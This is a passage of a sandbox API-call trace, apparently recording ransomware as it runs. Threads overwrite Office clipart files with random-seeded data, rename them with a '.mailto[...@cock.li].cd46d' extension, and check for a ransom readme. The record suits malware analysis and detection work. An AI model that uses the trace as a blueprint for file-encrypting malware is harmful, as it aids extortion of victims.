returned 0x4d2bfc22 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1327882d [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x58556b3e [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x5ed8a319 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x4e81bf8e [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x574bb735 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x409c20d5 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x3975f614 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x2a3baa17 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1cd711a9 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x3813041 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x7ae087bc [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x57f22d9d [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1244c560 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1c065779 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x3e085d20 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x60630523 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x106da67 [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x3c691a9b [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1cfdef2b [0061.162] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x78005e8c [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x1c70a3e5 [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x33ef223e [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x54c487f4 [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x50f8caad [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x135260ed [0061.163] RtlRandomEx (in: Seed=0x10c2f770 | out: Seed=0x10c2f770) returned 0x2466eda2 [0061.175] ReadFile (in: hFile=0x123c, lpBuffer=0x19c04288, nNumberOfBytesToRead=0x135b, lpNumberOfBytesRead=0x10c2f760, lpOverlapped=0x0 | out: lpBuffer=0x19c04288*, lpNumberOfBytesRead=0x10c2f760*=0x135b, lpOverlapped=0x0) returned 1 [0061.176] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.177] WriteFile (in: hFile=0x123c, lpBuffer=0x19c10a90*, nNumberOfBytesToWrite=0x135b, lpNumberOfBytesWritten=0x10c2f75c, lpOverlapped=0x0 | out: lpBuffer=0x19c10a90*, lpNumberOfBytesWritten=0x10c2f75c*=0x135b, lpOverlapped=0x0) returned 1 [0061.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97388 [0061.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d973b0 [0061.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d973b0) returned 1 [0061.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c10a90) returned 1 [0061.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c04288) returned 1 [0061.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418e60) returned 1 [0061.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d08) returned 1 [0061.525] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0390 [0061.525] SetFilePointerEx (in: hFile=0x123c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.525] WriteFile (in: hFile=0x123c, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10c2f7c4, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x10c2f7c4*=0x109, lpOverlapped=0x0) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03c0) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9098) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0390) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97388) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec91b0) returned 1 [0061.533] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9250) returned 1 [0061.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9278) returned 1 [0061.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.534] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF" [0061.534] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.534] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10c2f77c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00157_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.534] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.535] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.535] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.535] NtQueryInformationFile (in: FileHandle=0x123c, IoStatusBlock=0x10c2f788, FileInformation=0x10c2f760, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10c2f788, FileInformation=0x10c2f760) returned 0x0 [0061.535] NtSetInformationFile (FileHandle=0x123c, IoStatusBlock=0x10c2f788, FileInformation=0x10c2f760, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.536] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.536] FlushFileBuffers (hFile=0x123c) returned 1 [0062.197] CloseHandle (hObject=0x123c) returned 1 [0062.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdd20 [0062.656] wcscpy (in: _Dest=0x97cdd20, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.656] wcscat (in: _Dest=0x97cdd20, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdd20) returned 1 [0063.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f93b0) returned 1 Thread: id = 1060 os_tid = 0x3d0 [0056.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0061.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF", dwFileAttributes=0x20) returned 1 [0061.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1240 [0061.177] GetFileSizeEx (in: hFile=0x1240, lpFileSize=0x10e8fcec | out: lpFileSize=0x10e8fcec*=5030) returned 1 [0061.178] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x13a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.178] ReadFile (in: hFile=0x1240, lpBuffer=0x10e8fc70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10e8fc6c, lpOverlapped=0x0 | out: lpBuffer=0x10e8fc70*, lpNumberOfBytesRead=0x10e8fc6c*=0x4, lpOverlapped=0x0) returned 1 [0061.179] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9228 [0061.179] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92a0 [0061.179] NtQuerySystemTime (in: CurrentTime=0x10e8fc4c | out: CurrentTime=0x10e8fc4c*=132174898251600000) returned 0x0 [0061.179] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x45b0e7a6 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x28ec6ea4 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x6f811648 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x72b93c6d [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x48ea1fb [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x709d0d70 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x78e0c1dd [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x1f603836 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x4fd66749 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x21f1e47a [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x4c2ae5e2 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x2e14448f [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x385b3b35 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x8ae07d0 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x183a6133 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x101068b4 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x2d93c2ce [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x4c20858d [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x7e8f7217 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x1ddc38d5 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x4b9c4d41 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x14a926ed [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x439d1f8a [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x70740de1 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x5d9bf4f8 [0061.180] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x70f274b [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x79620ec8 [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x1ef3bcfc [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x4cac6e5a [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x5660d743 [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x1221c1c1 [0061.181] RtlRandomEx (in: Seed=0x10e8fc58 | out: Seed=0x10e8fc58) returned 0x42932daf [0061.193] ReadFile (in: hFile=0x1240, lpBuffer=0x19c1d298, nNumberOfBytesToRead=0x13a6, lpNumberOfBytesRead=0x10e8fc48, lpOverlapped=0x0 | out: lpBuffer=0x19c1d298*, lpNumberOfBytesRead=0x10e8fc48*=0x13a6, lpOverlapped=0x0) returned 1 [0061.194] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.194] WriteFile (in: hFile=0x1240, lpBuffer=0x19c29aa0*, nNumberOfBytesToWrite=0x13a6, lpNumberOfBytesWritten=0x10e8fc44, lpOverlapped=0x0 | out: lpBuffer=0x19c29aa0*, lpNumberOfBytesWritten=0x10e8fc44*=0x13a6, lpOverlapped=0x0) returned 1 [0061.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d973b0 [0061.460] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d973d8 [0061.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d973d8) returned 1 [0061.460] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c29aa0) returned 1 [0061.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c1d298) returned 1 [0061.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 [0061.532] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ac8) returned 1 [0061.532] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0450 [0061.532] SetFilePointerEx (in: hFile=0x1240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.532] WriteFile (in: hFile=0x1240, lpBuffer=0x12d7d9d0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10e8fcac, lpOverlapped=0x0 | out: lpBuffer=0x12d7d9d0*, lpNumberOfBytesWritten=0x10e8fcac*=0x109, lpOverlapped=0x0) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d9d0) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0480) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9110) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0450) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d973b0) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9228) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92c8) returned 1 [0061.541] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec92f0) returned 1 [0061.541] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00540 [0061.541] wcscpy (in: _Dest=0x5e00540, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" [0061.541] wcscat (in: _Dest=0x5e00540, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.541] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x10e8fc64, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.541] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x44d428 [0061.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d428) returned 1 [0061.542] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e828) returned 1 [0061.542] NtQueryInformationFile (in: FileHandle=0x1240, IoStatusBlock=0x10e8fc70, FileInformation=0x10e8fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x10e8fc70, FileInformation=0x10e8fc48) returned 0x0 [0061.542] NtSetInformationFile (FileHandle=0x1240, IoStatusBlock=0x10e8fc70, FileInformation=0x10e8fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.543] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00540) returned 1 [0061.543] FlushFileBuffers (hFile=0x1240) returned 1 [0062.197] CloseHandle (hObject=0x1240) returned 1 [0062.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cddb8 [0062.656] wcscpy (in: _Dest=0x97cddb8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.657] wcscat (in: _Dest=0x97cddb8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cddb8) returned 1 [0063.081] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f9438) returned 1 Thread: id = 1061 os_tid = 0xdc8 [0056.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0061.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", dwFileAttributes=0x20) returned 1 [0061.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1244 [0061.195] GetFileSizeEx (in: hFile=0x1244, lpFileSize=0x1112f7bc | out: lpFileSize=0x1112f7bc*=1146) returned 1 [0061.195] SetFilePointerEx (in: hFile=0x1244, liDistanceToMove=0x476, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.195] ReadFile (in: hFile=0x1244, lpBuffer=0x1112f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1112f73c, lpOverlapped=0x0 | out: lpBuffer=0x1112f740*, lpNumberOfBytesRead=0x1112f73c*=0x4, lpOverlapped=0x0) returned 1 [0061.197] SetFilePointerEx (in: hFile=0x1244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec92a0 [0061.197] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9318 [0061.197] NtQuerySystemTime (in: CurrentTime=0x1112f71c | out: CurrentTime=0x1112f71c*=132174898251756000) returned 0x0 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x4637fa2b [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x62c67a55 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x12a6fded [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x325e29 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x266f64fe [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x149c39ec [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x1b59641f [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x24352f17 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x5e5ae427 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x3795bd50 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x3fbf2fe0 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x7ce0a20 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x5f08f3e5 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x73834982 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x738ed0f5 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0xa3baea6 [0061.197] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x1a17b52e [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x739bf26f [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x2866ac26 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x372a1f01 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x6015276 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x12dbef4f [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x16f1a922 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x5e9eb2fe [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x1f1b5a9d [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x3b1d3657 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x6d29ce01 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x13e83377 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x43dfe8af [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x28e8be54 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x448505b3 [0061.198] RtlRandomEx (in: Seed=0x1112f728 | out: Seed=0x1112f728) returned 0x21ffa5cb [0061.210] ReadFile (in: hFile=0x1244, lpBuffer=0x19c362a8, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x1112f718, lpOverlapped=0x0 | out: lpBuffer=0x19c362a8*, lpNumberOfBytesRead=0x1112f718*=0x47a, lpOverlapped=0x0) returned 1 [0061.211] SetFilePointerEx (in: hFile=0x1244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.211] WriteFile (in: hFile=0x1244, lpBuffer=0x19c42ab0*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x1112f714, lpOverlapped=0x0 | out: lpBuffer=0x19c42ab0*, lpNumberOfBytesWritten=0x1112f714*=0x47a, lpOverlapped=0x0) returned 1 [0061.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d973d8 [0061.461] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97400 [0061.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97400) returned 1 [0061.461] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c42ab0) returned 1 [0061.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c362a8) returned 1 [0061.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0061.539] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0061.539] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0390 [0061.539] SetFilePointerEx (in: hFile=0x1244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.540] WriteFile (in: hFile=0x1244, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1112f77c, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x1112f77c*=0x109, lpOverlapped=0x0) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03c0) returned 1 [0061.546] RtlFreeHeap (HeapHandle=0x3f0000, 